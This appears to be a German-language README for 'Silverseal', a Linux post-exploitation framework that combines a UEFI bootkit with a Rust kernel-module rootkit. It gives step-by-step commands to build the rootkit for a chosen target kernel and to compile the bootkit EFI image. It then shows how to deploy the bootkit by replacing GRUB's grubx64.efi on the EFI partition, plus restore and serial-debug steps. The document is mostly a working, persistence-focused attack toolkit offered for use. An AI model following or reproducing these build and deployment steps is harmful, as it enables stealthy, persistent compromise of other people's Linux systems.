
Linux-Post-Exploitation-Framework mit einem UEFI-Bootkit, das persistent und stealth ein Rust-basiertes Kernel-Modul-Rootkit auf modernen Linux-Systemen lädt.

Silverseal ist ein Linux-Post-Exploitation-Framework, das die Fähigkeit eines UEFI-Bootkits demonstriert, persistent und stealth ein Rust-basiertes Kernel-Modul-Rootkit auf modernen Linux-Systemen zu laden. Das Projekt umfasst:

Installiert die für Rust-for-Linux-External-Module-Builds benötigten Pakete, installiert bei Bedarf rustup, wechselt die Standard-Toolchain auf stable, fügt rust-src hinzu, installiert bindgen-cli und warnt, wenn der aktuell laufende Kernel CONFIG_RUST=y nicht bereitstellt.
./scripts/install_dependencies.sh
[!IMPORTANT]
Wenn Sie WSL verwenden, stellen Sie sicher, dass Sie WSL 2 einrichten und Ubuntu installieren. Dieses Skript baut einen benutzerdefinierten Rust-fähigen WSL2-Kernel, bereitet ein Module-VHDX vor und kann optional einen Windows-.wslconfig-Eintrag schreiben, der WSL auf den generierten Kernel verweist.
./scripts/wsl_setup.sh
Das Skript installiert automatisch die Ubuntu-Build-Abhängigkeiten, klont die passende Microsoft-WSL2-Kernelquelle, aktiviert CONFIG_RUST, baut den Kernel mit LLVM und verdrahtet /lib/modules/<release>/build für External-Module-Builds.
Um die unterstützten Optionen anzuzeigen:
./scripts/wsl_setup.sh --help
Um das Rootkit gegen Ihren gewünschten Ziel-Kernel zu bauen, müssen Sie das folgende Skript auf Ihrer Build-Maschine ausführen (entweder WSL oder eine native Linux-Maschine):
./scripts/ubuntu_target_setup.sh <uname -r of your target kernel>
Dieser Ablauf installiert die passenden linux-headers-<kernel>- und linux-lib-rust-<kernel>-Pakete, installiert die von Ubuntu gepackte Rust-1.82-Toolchain, die vom generic-kernel-Flow verwendet wird, repariert /usr/src/linux-headers-<kernel>/rust, falls dieser Symlink defekt ist, und gibt den exakten make-Befehl aus, der anschließend verwendet werden soll.
Bauen Sie das Rootkit mit dem Kernel-Build-System. Verwenden Sie Cargo nicht für den eigentlichen Modul-Build.
cd Silverseal/silverseal-rootkit
make
Die Modul-Artefakte werden nach dem Build in silverseal-rootkit/target/ abgelegt.
Bauen Sie das Rootkit für einen Ubuntu-generic-Ziel-Kernel aus WSL:
cd Silverseal/silverseal-rootkit
make clean
PATH=/usr/bin:/bin:$PATH \
RUST_LIB_SRC=/usr/src/rustc-1.82.0/library \
make RUST_MIN_TOOLCHAIN= \
KDIR=/usr/src/linux-headers-6.17.0-20-generic \
CC=x86_64-linux-gnu-gcc-13 \
RUSTC=rustc-1.82 \
RUSTDOC=rustdoc-1.82
Das Modul-Makefile erkennt /usr/src/linux-headers-*-Ziele automatisch und übergibt die Rust-Kompatibilitäts-cfg über Kbuilds Rust-Flag-Variablen, sodass das neuere Ubuntu-module!-Metadatenschema authors anstelle des älteren author-Schlüssels verwendet.
Überprüfen Sie nach dem Build, ob die Ziel-Kernelversion korrekt eingebettet wurde:
modinfo target/silverseal_rootkit.ko | grep vermagic
Der Bootkit-Build erfordert nasm im PATH. Das Crate ist bereits für x86_64-unknown-uefi konfiguriert, und das Build-Skript assembliert sowohl asm/x64/lkm_loader.asm als auch asm/x64/lkm_stager.asm zu flachen Binär-Blobs, die in das EFI-Image eingebettet werden.
cd Silverseal/silverseal-bootkit
cargo build --release
Die resultierende EFI-Binärdatei wird geschrieben nach:
Silverseal/target/x86_64-unknown-uefi/release/silverseal-bootkit.efi
Das Deployment-Skript erwartet derzeit eine Datei namens silverseal-bootkit.efi im Repository-Stammverzeichnis. Kopieren Sie nach dem Build des Bootkits das EFI-Artefakt dorthin und führen Sie dann das Setup-Skript aus dem Repository-Stammverzeichnis aus.
cd Silverseal
cp target/x86_64-unknown-uefi/release/silverseal-bootkit.efi ./silverseal-bootkit.efi
sudo ./scripts/setup_silverseal.sh
Das Skript führt einen direkten Austausch auf der EFI-Partition durch:
/boot/efi/EFI/ubuntu/grubx64.efi nach /boot/efi/EFI/ubuntu/grubx64.efi.original./silverseal-bootkit.efi an die Stelle /boot/efi/EFI/ubuntu/grubx64.efiUm Silverseal zu entfernen, stellen Sie die ursprüngliche GRUB-Binärdatei aus dem .original-Backup wieder her:
cd Silverseal
sudo ./scripts/restore_silverseal.sh
ls -la /dev/ttyS*
Häufige Ports: /dev/ttyS0 (COM1), /dev/ttyS1 (COM2)
minicom:sudo minicom -D /dev/ttyS0 -b 115200
# Or with `screen`:
sudo screen /dev/ttyS0 115200
# Or with `picocom`:
sudo picocom -b 115200 /dev/ttyS0
\\.\pipe\com_1)Sie können auch das Hilfsskript verwenden, das PuTTY kontinuierlich mit \\.\pipe\com_1 bei 115200 Baud neu verbindet:
powershell -ExecutionPolicy Bypass -File .\scripts\connect-vm.ps1